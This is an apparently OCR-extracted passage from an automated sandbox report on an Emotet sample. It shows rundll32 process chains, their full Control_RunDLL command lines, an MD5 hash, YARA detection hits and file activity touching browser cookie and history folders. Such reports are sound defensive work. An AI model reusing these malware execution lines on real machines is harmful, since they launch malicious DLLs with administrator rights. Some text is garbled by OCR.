Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

Copyright null 2021

true

‘C:\Windows\system32\rundlI32.exe' C:\Users\user\Nspzvsg\Sj_dwgs\R31N.dIl Contr
ol_RunDLL

0x1e0000
44544 bytes
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MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

00000007.00000002.2100881704.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000007.00000002.2100903607.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2812 Parent PID: 2764
General
Start time: 18:44:47
Start date: 07/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit): true
Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Shuwftk\rwhokf.exo',Contro
|_RunDLL
Imagebase: 0x1e0000
File size: 44544 bytes
MD5 hash: 51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102904975.0000000000321000.00000020.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000008.00000002.2102822583.0000000000300000.00000040.00000001.sdmp,
Author: Joe Security
Reputation: moderate

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol
Source

Old File Path New File Path Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Analysis Process: rundll32.exe PID: 2688 Parent PID: 2812

General

Start time: 18:44:47
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Start date:
Path:
Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

07/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vngxkvjbgisigbn\asgkrazesi
kwug.frl',Control_RunDLL

0x1e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103779024.00000000001B0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
00000009.00000002.2103864264.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2732 Parent PID: 2688
General
Start time: 18:44:48
Start date: 07/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Qzqgszcguiavsow\
gdavyvbzxdoyhw.ift',Control_RunDLL

0x1e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2105264847.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000A.00000002.2105243347.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Attributes Options Completion Count Address Symbol
Source
Old File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2824 Parent PID: 2732
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General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

18:44:49

07/01/2021
C:\Windows\SysWOW64\rundll32.exe
true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gfhmd\pcib.aey',Control_Ru
nDLL

0x1e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2108184568.00000000002E1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000B.00000002.2107810345.0000000000240000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: moderate
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
Old File Path New File Path Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: rundll32.exe PID: 2456 Parent PID: 2824
General
Start time: 18:44:49
Start date: 07/01/2021
Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Path Access

Old File Path

New File Path

File Path
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true

C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Gwiivizeoc\rneajwbra.jdv',
Control_RunDLL

0x1e0000

44544 bytes
51138BEEA3E2C21EC44D0932C71762A8
true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2109299524.00000000001F0000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000C.00000002.2109419000.0000000000211000.00000020.00000001.sdmp,
Author: Joe Security

moderate
Source
Attributes Options Completion Count Address Symbol
Source
Completion Count Address Symbol
Source
Offset Length Completion Count Address Symbol
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Analysis Process: rundll32.exe PID: 2496 Parent PID: 2456

General

Start time: 18:44:50

Start date: 07/01/2021

Path: C:\Windows\SysWOW64\rundll32.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Vshkfdgna\nswgiepj.iji', Co
ntrol_RunDLL

Imagebase: 0x1e0000

File size: 44544 bytes

MDS5 hash: 51138BEEA3E2C21EC44D0932C71762A8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:

0000000D.00000002.2339862225.00000000001F1000.00000020.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source:
0000000D.00000002.2339841860.00000000001C0000.00000040.00000001.sdmp,
Author: Joe Security

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list device | sparse directory file | object name collision 1 2084C0 HttpSendRequestW
directory | file synchronous io
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Windows\SysWOW64\Vshkfdgna\nswgiepj.iji cannot delete 1 20AAAA DeleteFilew
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly

Code Analysis
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